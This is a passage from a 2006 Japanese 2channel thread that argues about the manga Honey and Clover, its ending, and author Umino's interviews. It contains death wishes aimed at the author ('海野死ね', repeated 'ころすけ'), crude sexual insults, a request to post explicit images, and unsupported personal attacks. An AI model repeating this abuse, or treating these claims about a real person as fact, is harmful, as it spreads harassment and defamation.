でもウミノさんヲタは「何が悪いの？」と思うんだろうなぁ。
素で、その名言に違和感を感じないで
受け入れてしまうんだろう。
507 名前：花と名無しさん mailto:sage [2006/11/07(火) 19:09:35 ID:???0]: 最近、自分をいじめた奴の名前を遺書に書いて自殺するのが流行ってるが
ウミノさんみたいに、いじめられてないのに
「いじめられた、つらかった」と主張するような被害妄想な人が
そういうことをやるとしたら、恐ろしい。
508 名前：花と名無しさん mailto:sage [2006/11/07(火) 19:52:11 ID:???0]: >>501
結果嫌だったんだからしょうがないだろ
入ってみないとわからんよ
2ｃｈも意外に住み午後地が良かったりするのと同じ
509 名前：花と名無しさん mailto:sage [2006/11/07(火) 19:54:30 ID:???0]: >>507
特定のやつを指してるんだろ

ほかは対してかかわりがなかったって意味じゃ・・・
510 名前：花と名無しさん mailto:sage [2006/11/07(火) 20:09:40 ID:???0]: >>508
その割には何年も住み着いて何冊も本出してたみたいだけどね
はた目には結構楽しそうにやってるように見えたけどな。
でも今と同じく常に言い訳しながら
やることはちゃっかりやってる人って印象だった。
511 名前：花と名無しさん mailto:sage [2006/11/07(火) 22:26:35 ID:???0]: >>503
「はぐのエピソードは読者が読むとツライだろうからものすごい勢いで飛ばして描いた」
それでもプロか!?　なんじゃその気遣い！いらんわ
512 名前：花と名無しさん mailto:sage [2006/11/07(火) 23:06:07 ID:???O]: そんな事言い放つ作者の姿を見せられる方が辛いだろうに

しかもそれYUKIのファンクラブ会報に載った内容らしいじゃないか。
自分が実際読んだ訳じゃないがもしそれが本当なら
ハチクロ愛読者にもウンザリされること必至の話を
ハチクロを読んだこともない人もいるであろう中で披露したことになるよな。

海野も海野だが何故そんな下らない対談を企画したんだか。
513 名前：花と名無しさん mailto:sage [2006/11/07(火) 23:14:13 ID:???0]: おもしろかった。７巻くらいまでは。
というか美大行ってたので（いろんな理由で６年も…）
リアリティは感じられなかった。
私の行った学校は奇人変人と超貧乏人と金持ちしかいなかったよ。
514 名前：花と名無しさん [2006/11/07(火) 23:28:04 ID:oeEgj0pDO]: >>503
これはほんとか知らんがかなり痛いですね･････w
でもまぁハチクロ好きさ！！！イエイ！修マンセー！！悪女はぐ
515 名前：花と名無しさん mailto:sage [2006/11/07(火) 23:33:07 ID:???0]: >>514

|つ　まごうことなき本当の話
516 名前：花と名無しさん mailto:sage [2006/11/08(水) 00:36:04 ID:???O]: >>513
美大はあくまでお飾り設定。
メインはメンヘラ女とそいつをちやほやする男の話
517 名前：花と名無しさん mailto:sage [2006/11/08(水) 00:40:40 ID:???O]: >>512
本当の話。文章投下してくれた人がいた。
YUKIとの対談のおかげでラストに描くべきことがわかったそうな。

最初はラストまで決めてるとか言ってたのに
スピッツの映画主題歌聴いてラスト変えたとか言って
また違うこと言ってるんだよｗｗｗ
518 名前：花と名無しさん [2006/11/08(水) 01:05:44 ID:6tkPsBkD0]: 【恋愛】速報!PS2で「カードキャプターさくら　エターナルハート」がついに登場【アドベンチャー】
game9.2ch.net/test/read.cgi/gamerpg/1127562737/
519 名前：花と名無しさん mailto:sage [2006/11/08(水) 09:51:34 ID:???0]: >>517
あ、そういえば最初はラストは決めてあるって言ってたね。
変える前はどんなのだったんだろう。
520 名前：花と名無しさん mailto:sage [2006/11/08(水) 10:32:24 ID:???0]: ・出来上がった「魔法のコトバ」の歌詞を見て時は感動のあまり泣いて倒れた。
・スネオヘアーさんやYUKIさんに曲をもらった時もおいおい泣いた。
・映画に海へ行くシーンがあって涙がぽたぽた落ちた。

ちょｗｗｗウミノさん泣きすぎｗｗｗｗｗｗ
521 名前：花と名無しさん mailto:sage [2006/11/08(水) 11:31:51 ID:???0]: 「泣き女」みたいだね。
522 名前：花と名無しさん mailto:sage [2006/11/08(水) 12:31:49 ID:???0]: ハチクロに関する幾つかのブログを見て回ったが、やはり全体的に見て、
肯定的な評価をしているブログの方がストーリーやキャラの心理について
深い読み込みや理解をしている。否定的な評価をしているブログは
揚げ足取りや短絡的な発言が多い。これはそれぞれの意見のどちらが
正しいかということを抜きにして、分析力やその結果の論述力を見た場合の
結論だ。

ハチクロを批判するブログで深みのある分析や論述をしているサイトが
あってもいいはずなんだけどね。見あたらないのはなぜなのだろう？
やっぱりこれってハチクロが、きちんと鑑賞すればよい作品であるという
傍証になってるんじゃないのかな。これって俺の偏見かなぁ（笑
523 名前：花と名無しさん mailto:sage [2006/11/08(水) 13:07:31 ID:???0]: 人間年をとると涙もろくなるもんだよ
524 名前：花と名無しさん mailto:sage [2006/11/08(水) 13:09:52 ID:???0]: >>517
コロコロ変えてるかはわからないんじゃね？
最初から決めていた流れにその時その時影響を受けたものを足していった
という解釈もできる。
525 名前：あぼーん mailto:あぼーん [あぼーん]: あぼーん
526 名前：高橋佳子 [2006/11/08(水) 13:58:30 ID:hiKwjQBoO]: うみのがいなければわたしはまんがかになったしばいしゅんもしなくてすんだ
527 名前：高橋佳子 [2006/11/08(水) 13:59:50 ID:hiKwjQBoO]: かわむらりゅういちとのたいだんをかえせどろぼう
528 名前：高橋佳子 [2006/11/08(水) 14:01:00 ID:hiKwjQBoO]: もうばいしゅんはいやだけどやめたらしぬしかない
529 名前：高橋佳子 [2006/11/08(水) 14:01:50 ID:hiKwjQBoO]: ころすけころすけころすけころすけころすけ
530 名前：花と名無しさん mailto:sage [2006/11/08(水) 14:13:55 ID:???0]: よかったね＾＾
531 名前：花と名無しさん mailto:sage [2006/11/08(水) 14:20:51 ID:???O]: >>522は種死の改変コピペだよ。
532 名前：花と名無しさん mailto:sage [2006/11/08(水) 14:24:26 ID:???O]: >>524
結局コロコロ変えてんじゃんｗｗｗ
正確に言うとどいつにもいい顔する八方美人
533 名前：花と名無しさん mailto:sage [2006/11/08(水) 15:00:49 ID:???0]: ハチクロは好きだがクリエーターならわかるって作者の
インタビュの発言はまずかったんじゃないかなと思う。

結局自分がしてきたもの、したいものしか描けないわけで、ハチクロは作者を肯定する部分が多い作品なんだと思う。
はぐの怪我のエピソードはクリエーターならわかるとかそんなんじゃなくて、ただ恋愛できなくても
自分には才能があるっていう自分を肯定するため＋切ない展開が好きな作者の嗜好によるものだと思う。

大抵はまず描きたいものがあってそれを描くわけで、自分のために描いたものをクリエーターならわかるとか
後から変な意味づけをする必要はなかった。せめて生きていくために欠かせない大切なものがある人なら
わかってくれると思って描いたとかそういう言い方をするべきだったと思うんだけどな。

ハチクロは体操ですごくいい演技したけど最後着地に失敗しちゃったみたいなとこあって、
ウミノさんは完璧主義というか潔癖というか、過去に囚われたりしそうな感じするけど
次回作期待してるし頑張ってほしい。なんかインタビューで損してる感じするなこの人…。
534 名前：花と名無しさん mailto:sage [2006/11/08(水) 15:54:06 ID:???0]: ハチクロに限らず、物語は下手に舞台裏を語られない方がいいと思うんだよなあ。
インタビューとか、あとがきでぶっちゃけとか、がっかりしたことが多々ある。
作品そのものだけなら、きれいでいられたのに。
535 名前：花と名無しさん mailto:sage [2006/11/08(水) 16:13:39 ID:???0]: てゆうか普通にハチミツクローバーサンドの落ちはお粗末で、笑うところ
536 名前：花と名無しさん mailto:sage [2006/11/08(水) 16:35:35 ID:???0]: >>533
同感だなー
クリエータならわかるっていうあの発言は恐らく好きなミュージシャンや
アニメ関係のクリエーターさんたちと出会う機会が増えてちょうど
浮き足立ってた時期の発言なんじゃないかな？
それにプラスハチクロを畳むために付け焼刃で描いたはぐのケガのエピソード
のお粗末さを弁解しようとして出た発言というかんじがする。

ウミノさんがインタビュー好きなのは性格だろうし仕方ないけど、なんか
言うこと言うこと弁解クサイのは作品に悪い影響がでるからやめたほうが
いいと思うんだよね。
537 名前：花と名無しさん mailto:sage [2006/11/08(水) 16:46:33 ID:???0]: >>522
そんなのあたりまえじゃん
ここにいるのはハチクロ全巻初版でもっててインタビューからブログまで
くまなくチェックしてるハチクロ大好き人間ばかりだよ
最後の投げ出したような終わり方が気に入らなくて暴れてるだけ
完結してしまった物語はもう元にはもどらないんだし2chで暴れるくらいいいだろ？
538 名前：花と名無しさん mailto:sage [2006/11/08(水) 16:54:04 ID:???O]: >>537
落ち着け。>>531をよく読め。
539 名前：花と名無しさん [2006/11/08(水) 20:27:15 ID:VcaEQ18g0]: ttp://www13.oekakibbs.com/bbs/poo_serial/oekakibbs.cgi?sort=14&word=33056&prop=1&thumb=0

アウト？セーフ？
540 名前：花と名無しさん [2006/11/08(水) 21:31:37 ID:wDCm4sDN0]: 8巻が一番すき
541 名前：花と名無しさん mailto:sage [2006/11/09(木) 04:00:57 ID:???O]: 山田のキャラが1巻の時と異様に豹変しすぎていやだ。
542 名前：花と名無しさん mailto:sage [2006/11/09(木) 08:17:23 ID:???0]: 作者の発言のみが叩かれてるわけじゃないんだけどね。
漫画読んで萎えた人が多くて、その原因が作者のそういう態度や考え方だということから
そこを責めるに至ってるだけでしょう。

つまり作品が駄目なのだよ。
543 名前：花と名無しさん mailto:sage [2006/11/09(木) 10:50:15 ID:???0]: アンチスレ立てればいいじゃん
ぐだぐだ言ってないでサ
544 名前：花と名無しさん mailto:sage [2006/11/09(木) 12:23:01 ID:???O]: 森へお帰り
545 名前：花と名無しさん mailto:sage [2006/11/09(木) 12:23:50 ID:???O]: 文句言ってる奴＝アンチなんて単純な人だ
546 名前：花と名無しさん mailto:sage [2006/11/09(木) 12:33:18 ID:???0]: アンチは自分が偉いと思ってる
547 名前：花と名無しさん mailto:sage [2006/11/09(木) 14:39:42 ID:???0]: 前から思ってたんだけど、漫画は終了したなら懐かし漫画板へ移動しなくていいの？

スピンオフとやらが始まるのならまだここでいいんだろうけど…
548 名前：花と名無しさん mailto:sage [2006/11/09(木) 15:43:40 ID:???0]: >>547
スピンオフ始まるじゃん。
549 名前：花と名無しさん mailto:sage [2006/11/09(木) 16:11:40 ID:???O]: 信者は自分が偉いと思ってる
550 名前：花と名無しさん mailto:sage [2006/11/09(木) 16:51:24 ID:???0]: アンチは口が臭い奴が多い
551 名前：花と名無しさん mailto:sage [2006/11/09(木) 17:29:21 ID:???0]: アンチは自分が頭の良い人間だと思っている
552 名前：花と名無しさん mailto:sage [2006/11/09(木) 17:30:27 ID:???0]: 信者はチンコ小さい。しかも包茎
553 名前：花と名無しさん [2006/11/09(木) 17:42:17 ID:2aCj3fBP0]: さて、ウンココピペを最低１０スレには投下してくるか・・・
554 名前：花と名無しさん mailto:sage [2006/11/09(木) 19:29:10 ID:???O]: それってうみのじゃ(ry
555 名前：花と名無しさん [2006/11/09(木) 20:48:30 ID:Mr++LVBh0]: www.imgup.org/iup284422.jpg
556 名前：花と名無しさん [2006/11/09(木) 23:13:33 ID:arfEGRxH0]: 真山は仮性包茎

竹本は真性包茎

森田はズルムケ

これで文句は無いだろ？
557 名前：花と名無しさん [2006/11/10(金) 00:17:35 ID:S6w3KMnbO]: うん
558 名前：花と名無しさん mailto:sage [2006/11/10(金) 01:39:20 ID:???O]: >>543
545の云うことも尤もだが、アンチスレは
「何が面白いのか理解できず即ギブアップした」
「絵の汚さに我慢できず即ギブアップした」
という感想と、元信者による矛盾点の指摘、愚痴、
そして詳しい人間からデビューまでの経緯が簡単に説明され、
「作者がまともにやれないコネ星人なら仕方ない」という結論に至り、
それ以上話すことが無い＋本スレのアンチスレ化の為失速して落ちたよ

つまりファンも匙を投げ、アンチが白熱する隙もないくらい
双方から笑いのネタとしてしか見られないほど糞な状況って事
559 名前：花と名無しさん mailto:sage [2006/11/10(金) 17:36:57 ID:???0]: >>558
というよりここがアンチや否定派の巣窟になっているいじょう
あえてアンチスレが必要ないだけじゃ？
アンチスレできてもほとんどの人間が移動しないでここで粘着してる

ハチクロが好きで訪れた人間はここの荒んだ状況をみて立ち去るのみ
ここは残った少数の粘着の巣だからここの意見は読者の総意とは言え
ない状況
560 名前：花と名無しさん mailto:sage [2006/11/10(金) 19:49:14 ID:???O]: マンセースレでも立てるか
561 名前：花と名無しさん mailto:sage [2006/11/10(金) 19:51:44 ID:???O]: 少数の粘着は有り得ないだろ。
２に対して批判的な奴がよくそういうよね。
562 名前：花と名無しさん mailto:sage [2006/11/10(金) 19:54:59 ID:???0]: 少数の粘着でそ
563 名前：花と名無しさん mailto:sage [2006/11/10(金) 19:58:23 ID:???0]: まともなファンは雑誌連載時にもう呆れて出てったんだよ。
あの数ヶ月はすさまじかった。
信者がアンチになっていく瞬間・・・
564 名前：花と名無しさん mailto:sage [2006/11/10(金) 20:03:21 ID:???0]: つまり残ったのは少数のアンチという事でおｋ？
565 名前：花と名無しさん mailto:sage [2006/11/10(金) 20:07:55 ID:???O]: 信者もアンチも情の深いのが残った
566 名前：花と名無しさん mailto:sage [2006/11/10(金) 20:34:18 ID:???0]: なんだかんだ言って好きなんだね
567 名前：花と名無しさん mailto:sage [2006/11/10(金) 20:42:09 ID:???0]: 作者さんへ
mixiは複垢禁止ですよっと。泣いてもダメですよっと。
568 名前：花と名無しさん [2006/11/10(金) 21:38:40 ID:gB7Uc6tW0]: >>559
禿同

ハチクロファンはとてもこのスレに書き込めないよね
569 名前：花と名無しさん mailto:sage [2006/11/10(金) 23:11:53 ID:???0]: 長谷川ってどーなった？
570 名前：花と名無しさん mailto:age [2006/11/11(土) 01:18:44 ID:???0]: 家業のそば製造工場を継いで、それを元手にそば屋を始めて
ネット通販でそばと自作の器も売ってボロ儲けだよ。
571 名前：花と名無しさん mailto:sage [2006/11/11(土) 01:53:10 ID:???O]: >>563
あの時の祭りは凄まじい勢いだったな…
572 名前：花と名無しさん mailto:sage [2006/11/11(土) 01:54:03 ID:???O]: >>570
最初に出てきたのはそうめんだったのにね～
573 名前：花と名無しさん mailto:sage [2006/11/11(土) 04:41:03 ID:???O]: 800万部売れたのか…
もう描かなくてもいいね
574 名前：花と名無しさん mailto:sage [2006/11/11(土) 06:48:17 ID:???0]: 僕は初めて、
信者がアンチになっていく瞬間を見たんだ…。
575 名前：花と名無しさん mailto:sage [2006/11/11(土) 07:11:51 ID:???0]: おもしろいね
576 名前：高橋佳子こと渚水帆 [2006/11/11(土) 10:19:45 ID:8o3j9207O]: 海野死ね
577 名前：高橋佳子ことスミレ [2006/11/11(土) 10:24:31 ID:8o3j9207O]: 海野のせいで漫画家になれなくて31歳で処女失って売春生活疲れた
誰かスカウトしてください
578 名前：高橋佳子こと詩音 [2006/11/11(土) 10:26:59 ID:8o3j9207O]: 私は統合失調に海野のせいでなりました
あひゃひゃひゃひゃ
579 名前：高橋佳子こと海人 [2006/11/11(土) 10:28:28 ID:8o3j9207O]: 私は岡山の人を自殺に追い込んだ犯罪です
580 名前：高橋佳子こと桃香 [2006/11/11(土) 10:29:34 ID:8o3j9207O]: 妄想大好きで自作自演が趣味です
581 名前：高橋佳子こと太田愛 [2006/11/11(土) 10:33:03 ID:8o3j9207O]: 岩井志麻子さんの小説のモデルで中村うさぎさんと対談して河村隆一さんに曲を作ってもらうすごい美人の阪大のアイドルです
なのに海野が邪魔してプロになれません
582 名前：花と名無しさん [2006/11/11(土) 12:25:49 ID:8o3j9207O]: p.pita.st/?79cqrsx3
583 名前：花と名無しさん mailto:sage [2006/11/11(土) 13:06:51 ID:???O]: そこまでひどい漫画でもなかったのにここまで叩くの異常すぎ。
584 名前：花と名無しさん mailto:sage [2006/11/11(土) 15:41:28 ID:???0]: そこまですごい漫画でもなかったのにここまで擁護するの異常すぎ。
585 名前：花と名無しさん mailto:sage [2006/11/11(土) 18:05:46 ID:???0]: そうそう口臭がウンコ臭いっていうのは
アンチのテンプレみたいなものね。

１年前にこれと全く同じ文を同人板で見たけど
まだあったんだね。作家をウンコ口臭呼ばわりするのｗ
586 名前：花と名無しさん [2006/11/12(日) 01:55:38 ID:Yjg5R97U0]: ウミノさん好きだけどなぁ。
ハチクロも花藤も。
587 名前：花と名無しさん [2006/11/12(日) 02:13:37 ID:a9sOM1HHO]: 少女マンガ家の叩かれ方ってはげしいよな
588 名前：花と名無しさん mailto:sage [2006/11/12(日) 03:14:37 ID:???0]: 久々に来たけど荒れてるなあ。
ちゃんと読者が納得する終わりに持って行ってくれてたら
こんなに荒れることもなかったんだろうな・・・。
589 名前：花と名無しさん mailto:sage [2006/11/12(日) 03:47:00 ID:???0]: 腐女子はネチネチしつこいからね
590 名前：花と名無しさん [2006/11/12(日) 05:10:02 ID:SfuXxBn+0]: >>586
ウミノさんの中では、同人誌時代は無かったこととされています
591 名前：花と名無しさん mailto:sage [2006/11/12(日) 07:32:08 ID:???0]: いや、
同人時代自体はインタビューとかでも話してるだろ。
なかった事にしているのは、
当時の友達ぐらいでｗ
592 名前：花と名無しさん mailto:sage [2006/11/12(日) 10:26:15 ID:???O]: >>559
それは

アンチスレがあるのに移動せずここで叩きに徹した元ファンのせい

＝ファンに馬鹿が多かったせいってことなんじゃないのか、とどのつまりは

上手く住み分けしないからどっちも寂れていったという
593 名前：花と名無しさん mailto:sage [2006/11/12(日) 10:58:27 ID:???O]: 多少慌ただしさはあったけど、まあそれなりの終り方はした。
これよりひどい最終回なんか腐る程ある。
未だにねちねち叩いてるのは明らかに私怨
594 名前：花と名無しさん mailto:sage [2006/11/12(日) 11:30:34 ID:???0]: 私怨・・・甘美な響き(*´Д`)
595 名前：花と名無しさん mailto:sage [2006/11/12(日) 13:07:49 ID:???0]: ハチクロよりひどい最終回なんか腐る程あるかどうか知らんが
だからといってハチクロ最終回が酷くないって事にはならん罠
596 名前：花と名無しさん mailto:sage [2006/11/12(日) 14:13:08 ID:???0]: 未だにこのスレにいる奴ってブスか不細工だけでしょ？
597 名前：花と名無しさん mailto:sage [2006/11/12(日) 14:35:34 ID:???0]: 　　　　　　　　　　　　　　　　　　　 |
　　　　　　　　　　　　　　　　　　　 |
　　　　　 ∩＿＿＿∩　　　　　　　　　 |
　　　　　 | ノ　 _,　　,_ ヽ　　　　　　（（　 |　ﾌﾟﾗﾌﾟﾗ
　　　　 /　　●　　　● |　　　　　　　　　(=)
　　　　 |　　　　( _●_)　ミ　＿　(⌒)　　J　　））
　　　　彡､　　　|∪|　ノ
⊂⌒ヽ　/　　　ヽノ　ヽ /⌒つ
　＼　ヽ　 /　　　　　ヽ　/
　　　＼_,,ノ　　　　　　|､＿ノ
598 名前：花と名無しさん [2006/11/12(日) 15:19:00 ID:GaH8//xx0]: ウミノを擁護するやつはウミノと同じ神経回路してるだろ？
ホモ同人とか希望声優キャスティング、希望イメージソングのなにがわるいのかわかりません。
自分のどこが嫌われるのかわかりません。たたいてるひとの神経回路こそ理解にくるしむ。
だからなぜ叩かれるのかわからないんだろ？
599 名前：花と名無しさん mailto:sage [2006/11/12(日) 15:23:12 ID:???0]: ウミノいわく同人時代「いじめられた」とは
ホモ同人をかいたことへのバッシングのことでしょうか？
ウミノの嗜好(マンガ哲学)に理解のない人はみな、
ウミノを「イジメた」ことになってるんでしょうね。

　　　　　 | ノ　 _,　　,_ ヽ　ヤレヤレくまったくま　　　　
　　　　 /　　●　　　● |　　　　　　　
　　　　 |　　　　( _●_)　ミ　＿　
　　　　彡､　　　|∪|　ノ
⊂⌒ヽ　/　　　ヽノ　ヽ /⌒つ
　＼　ヽ　 /　　　　　ヽ　/
600 名前：花と名無しさん [2006/11/12(日) 15:41:13 ID:sGAnojOBO]: いいかげん懐かし板に移れ
601 名前：花と名無しさん mailto:sage [2006/11/12(日) 15:46:26 ID:???0]: これから延々スピンオフが続きます
602 名前：花と名無しさん mailto:sage [2006/11/12(日) 15:58:15 ID:???O]: 好きな人がここにいて、擁護するのは自然。
好きだから執着する。
いつまでもここで執念深く海野の人間性まで攻撃しまくるのは気持ち悪い。
他に楽しいこと見つけたら？
海野がここまで攻撃される程のことしたとは思えない。
何かをパクッて開き直るとかならともかく。
603 名前：花と名無しさん mailto:sage [2006/11/12(日) 16:03:20 ID:???0]: まゆたんやアリナチやこやまもパクってないけど叩かれてるよ
604 名前：花と名無しさん mailto:sage [2006/11/12(日) 16:20:54 ID:???O]: たいした話もかけないのに大物ぶってる言動。
立派に叩かれる要因だ
605 名前：花と名無しさん mailto:sage [2006/11/12(日) 17:19:37 ID:???0]: 602は真理だな。嫌いならとっとと見限ればいい。
606 名前：花と名無しさん mailto:sage [2006/11/12(日) 17:21:11 ID:???O]: レコード会社の関係で、アニメはスピッツとシカオを主題歌にできなかった。
だから挿入歌にしたそうだけど、無理に押し込む必要があったのか？
シカオはハチクロのイメージに合ってないから要らないじゃん。
607 名前：花と名無しさん [2006/11/12(日) 17:54:59 ID:wyPx63Vh0]: せっかくだからペニスアップしろよ
こんなかんじで
www3.upjo.com/up/data/img20050.jpg
608 名前：花と名無しさん mailto:sage [2006/11/12(日) 17:55:22 ID:???0]: いいんじゃない？
起用されたアーティストの人達もウミノさんも双方が喜んでたみたいだし
609 名前：花と名無しさん mailto:sage [2006/11/12(日) 20:16:18 ID:???0]: >>607
死ね。カスが。
610 名前：花と名無しさん mailto:sage [2006/11/13(月) 01:44:07 ID:???O]: >>602

うわあ
支離滅裂で排他敵で主観的で自己中心的で盲目で
海野擁護したがる奴って本当にリア厨ばかりなんだな…

という認識を広める為、住人の想像を上回る文章を考えては投下する
そんな地道な作業を怠らない君の健気さに感動した
611 名前：花と名無しさん [2006/11/13(月) 06:38:21 ID:QTbrL11AO]: いっそのこと、他のスレッドで見掛ける、
「１～５の人が誉めて、６～１０の人がけなす」方式にしたら？
612 名前：花と名無しさん mailto:sage [2006/11/13(月) 09:20:52 ID:???O]: >>608つ【ヒント：社交辞令】
613 名前：花と名無しさん mailto:sage [2006/11/13(月) 09:27:29 ID:???O]: >>608は釣りだろ
今更本気でこんな話する奴いるわけない
614 名前：花と名無しさん mailto:sage [2006/11/13(月) 10:18:07 ID:???0]: うみのさんはここ覗くくらいの図太さは本当は持ってる気がするよ。
615 名前：花と名無しさん mailto:sage [2006/11/13(月) 11:49:40 ID:???0]: >>613
なんで釣り？嫌な風に取るね

そりゃ多少の社交辞令はあるかもしれないけど、すごく好きとかファンって言われたら
誰だって嫌な気はしないだろ＞シカオ、スピッツ
ウミノさんの喜びは言わずもがなだけど
616 名前：花と名無しさん mailto:sage [2006/11/13(月) 16:30:05 ID:???O]: >>615
少なくともシカオは元々読者だった死帳の曲を作った時は
好きなマンガだから頑張って作ったというコメントを見た。
ハチクロに関してはそういう熱いコメントは見たことなかったから
あー海野(ハチクロ)に対してはあくまで仕事スタンスだったんだなと思った。
617 名前：花と名無しさん mailto:sage [2006/11/13(月) 16:34:47 ID:???O]: ミュージシャンがそんなに少女漫画読んでるわけないし。
618 名前：花と名無しさん mailto:sage [2006/11/13(月) 17:10:50 ID:???0]: 言い切るなよ
619 名前：花と名無しさん mailto:sage [2006/11/13(月) 17:49:48 ID:???0]: アンチの論法って、非論理的で人格攻撃だけだよなあ
擁護した人に対しても、同じように人格攻撃のみ

さて
どんな攻撃をされるか・・・
620 名前：花と名無しさん mailto:sage [2006/11/13(月) 18:04:00 ID:???0]: 私怨とか、粘着とか、住人の総意じゃないとか、擁護して何が悪いのさとか、
頭の中お花畑の子達がまた沸いてきたけど、いい加減にしていただきたいな。
自分と違う感覚や気に入らないレスを見た時に
「自分がおかしいわけじゃなく、こいつらがおかしいのだ」と咄嗟に思える方が異常。

言って収まるものじゃないから流していたけど、
以遠のように好意的な脳内補完大会や、↑で書いたような子で溢れていた時期は
流れと違う意見述べたり新参が迂闊に近づいたり出来そうにない強烈な異臭を放っていて、
今より遥かに気色悪かった。

今以上にファンが全体的にまともだった時期なんてなかった様に思う。
肯定的にしろ否定的にしろ客観的な意見が普通に書き込まれるようになってきたし
変に熱くなっていた層も目が醒めたり離れたりして、落着いている。

作者の個人叩きも基本的には戴けないものだが、この作者の場合ある程度は仕方ない。
非常識さや不真面目さを全く自覚がないであろう様子で散々アピールし、
しかもそれが作品に見事に反映しているんだから、反感を覚える人がおかしいとも思わない。

>>602　>>605
スレの雰囲気が気に入らないなら来なきゃいいと言うのは肯定派にも否定派にもいえる事。
作品について　肯定・マンセー＝好き、　否定・叩き＝嫌い　という発想も安易過ぎる。
「否定的な意見を書き込まないようにしましょう」という決まりがある場を探すか、
自身が作るかして、そこで愉快な仲間と語り合うことにしてみてはいかがでしょうか。
621 名前：花と名無しさん mailto:sage [2006/11/13(月) 18:04:51 ID:???O]: コーラスの予告では分からなかったけどスピンオフはどのキャラでやるんだろ。
まさかバレンタインやぷっくんとかのショートギャク系でお茶を濁すとかないよね。
622 名前：花と名無しさん mailto:sage [2006/11/13(月) 18:34:27 ID:???0]: ここが荒れてもアンチスレに誘導する奴なんかほぼ現れなかったし、
荒れてるレスの殆どが「裏切られた気分」とか、細かい指摘とか、理想のラストとか
明らかに現実世界に引き戻された元ファンばっか

つまりここにいるのは
冷静になったファンとまだ夢中でいられるファン、高二病と中二病が主

アンチの粘着☆　くりえいたーやあーちすとにも大人気☆てのは
洗脳され易く都合のいい情報ばかりを記憶する中二病患者の妄想

実際は押した割に滑ったし、熱狂的なアンチがでるほど目立てていない
有名どころを使ったので、これきっかけでファン層広がる可能性もあるかと思いきや
現実でもネット上でもハチクロに関係した各人物のファンの白けっぷりは清々しいもんがあった
623 名前：花と名無しさん mailto:sage [2006/11/13(月) 18:49:52 ID:???0]: うちは結構前からこのスレに粘着してきた
羽膿野自身の叩きがまだなかったころから
コミックスもよんだことあるが一巻も完読しなかった。
というのも主人公が無条件に愛されまくるドリーム(同人女臭がする)は
お腹にいっぱいだったからだ。
「正直、どこが面白いのかわからない」が率直な感想だ。
漫画家はもっと似顔絵はフザケないで書くべきだと思う。
フザけた(似顔)絵だとしても似てれば(特徴をとらえてれば)いいと思う。
リアルにいたら友達にならないタイプだと思った。いろんな意味で。
624 名前：花と名無しさん mailto:sage [2006/11/13(月) 19:04:55 ID:???0]: >623
どう考えても一人称と最後の三行は余分だったと思う
625 名前：花と名無しさん mailto:sage [2006/11/13(月) 19:25:33 ID:???0]: 羽海野氏の姿勢について“個人的にあまり興味がない”程度なら分かるけれど
“それについて突っかかっていく心境が理解できない”という人は
まともに働いたことがないと思われてもしゃあない

“それが何？羽海野さんの仕事に対する姿勢が漫画とが何か関係あるの？”という人は
漫画もインタビューも過去スレも一切読んだことがないと思われてもしゃあない

自分から何か調べたり知ろうとしたりそういう事は一切せず
他人を否定しながら他人に否定されたと喚く人は、とんでもない自己中だと思われてもしゃあない
626 名前：花と名無しさん mailto:sage [2006/11/13(月) 19:39:00 ID:???0]: >>623
質悪いな
儲から煽られるぞ
627 名前：花と名無しさん mailto:sage [2006/11/13(月) 19:41:31 ID:???0]: どうして擁護することがいけないみたいな雰囲気なの、
ここはいつからアンチスレになったの、擁護派は居辛いわ酷いわ、
みたいなやつは大抵、擁護派だから馬鹿にされているのではなく
単純に内容や文体が馬鹿だから馬鹿にされているだけ。
そういう御方が圧倒的に擁護派に多いから相手にされにくい面はあるが
前向きで且つスレ住民に受け入れられている意見もある。

住民に当たったり全てをアンチのせいにしたり
つまんない言い訳をする暇があったら、もっと勉強して
他人が読んでも意味が通じるまともな内容をかけばいい。
そうすれば誰も頭ごなしに馬鹿にはしないでしょう。頑張って。
628 名前：花と名無しさん mailto:sage [2006/11/13(月) 20:28:04 ID:???0]: 他にもっと悪い最終回があるのに何でハチクロだけ、とかちょっとね
馬鹿にされる為に書いてるのかと思うくらいだ。
629 名前：花と名無しさん mailto:sage [2006/11/13(月) 22:11:01 ID:???O]: >>627
最後の３行、作者に対するメッセージでもありますね
630 名前：花と名無しさん mailto:sage [2006/11/14(火) 00:45:50 ID:???0]: 605だが、否定的な意見を書き込むなと言ってるわけではないぞ。存分に意見を交わせばいい。
だが作者の人格まで叩いてる奴らは気色悪い。
自分はウミノ個人には全く興味は無いが、少なくともこんな所で延々陰口叩いてる奴らよりは
ましだろうよ。他にすることは無いのかと呆れただけだ。
少し書き込んでる自分の姿を振り返ってみたらどうだ。
631 名前：花と名無しさん mailto:sage [2006/11/14(火) 08:31:11 ID:???O]: >630
全く話を分かっていないな。
「否定的な意見を書き込むのはやめましょう」も
「陰口を書き込むのはやめましょう」も同じだよ。
お前のための空間じゃないのに御高説を振りかざしたり仕切ったりするな
ってことだろ。

気色悪い連中だと思うなら絡まなきゃいいんじゃないの。
他にすることは無いのか、も
書き込んでる自分の姿を振り返ってみたらどうだ、も
自身にもいえること。
632 名前：花と名無しさん mailto:sage [2006/11/14(火) 09:01:47 ID:???0]: 「存分に意見を交わせばいい」って
何目線で話してんだろうな

私の一声がきっかけで
そうよね陰口なんか良くないわよね、と
皆が心を入れ替えてくれたらいいなあ～
とか思っているのか？　>>630は
633 名前：花と名無しさん mailto:sage [2006/11/14(火) 12:02:52 ID:???0]: なんでこのスレこんなにキモイの？
ネチネチしてる
634 名前：花と名無しさん mailto:sage [2006/11/14(火) 13:56:07 ID:???0]: それはね
ネチネチしたキモい漫画の本スレだからだよ
635 名前：花と名無しさん mailto:sage [2006/11/14(火) 15:42:16 ID:???0]: ウミノさんがここにいるんじゃないかなーと思ったのは、
はぐが怪我しちゃった回が載った頃ですた。
636 名前：もっこす秋桜 [2006/11/14(火) 15:52:02 ID:ghfSVZKG0]: 　　＼
:::::　　＼　　　　　　　　　　　　ウミノの両腕に冷たい鉄の輪がはめられた
＼:::::　　＼
　＼:::::　＿ヽ＿_ 　＿　　　　　外界との連絡を断ち切る契約の印だ。
　　ヽ／，　／＿ヽ/、　ヽ＿
　　 // ／<　＿＿） l -，|__) >　「刑事さん・・・、私、どうして・・・
　　 || ｜ <　＿＿）_ゝJ_)＿>　　　　こんなコメント・・・遺したのかな？」
＼　||.｜　<　＿__）_(＿)_　>
　＼|　|　 <_＿__ノ_(＿)＿ )　　　とめどなく大粒の涙がこぼれ落ち
　　　ヾヽニニ/ー--'/　　　　　　　　震える彼女の掌を濡らした。
　　　 |_|＿t＿|_♀__|
　　　　　９　　∂　　　　　　　　「その答えを見つけるのは、ウミノ自身だ。」
　　　　　６　　∂
